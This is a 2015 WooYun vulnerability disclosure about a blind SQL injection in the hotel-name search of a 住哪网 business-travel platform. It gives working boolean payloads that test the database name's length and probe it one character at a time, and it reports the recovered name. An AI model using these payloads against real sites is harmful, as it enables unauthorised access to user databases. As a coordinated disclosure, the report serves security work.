漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2015-0102488
漏洞标题：住哪网某平台存在SQL注入
相关厂商：住哪网
漏洞作者： Anyway13
提交时间：2015-03-20 10:03
修复时间：2015-05-04 10:24
公开时间：2015-05-04 10:24
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2015-03-20： 细节已通知厂商并且等待厂商处理中
2015-03-20： 厂商已经确认，细节仅向厂商公开
2015-03-30： 细节向核心白帽子及相关领域专家公开
2015-04-09： 细节向普通白帽子公开
2015-04-19： 细节向实习白帽子公开
2015-05-04： 细节向公众公开
简要描述：
厂商反应速度好赞！又是531w用户的节奏啊 - -
详细说明：
首先在union.zhuna.cn注册个账号，然后点个人中心之后选择商旅平台便可跳转到sl.zhuna.cn
正常注册之后就算没有审核也是可以使用的。（ps：这里是不是也有点设计缺陷。）
在酒店名称搜索处存在sql注入：
漏洞证明：
输入%' and len(db_name())=14 and '%'='进行搜索出现酒店页面说明数据库长度为14
猜测数据库名第一个字符输入%' and ascii(substring(db_name(),1,1))=104 and '%'='进行搜索出现酒店页面，输入%' and ascii(substring(db_name(),1,1))=105 and '%'='返回空白，说明第一个字符为h：
依次类推最后得到数据库名为：hotel_9tour_cn
修复方案：
版权声明：转载请注明来源 Anyway13@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：20
确认时间：2015-03-20 10:22
厂商回复：
非常感谢您反馈的信息，相关问题已交技术处理。
最新状态：
暂无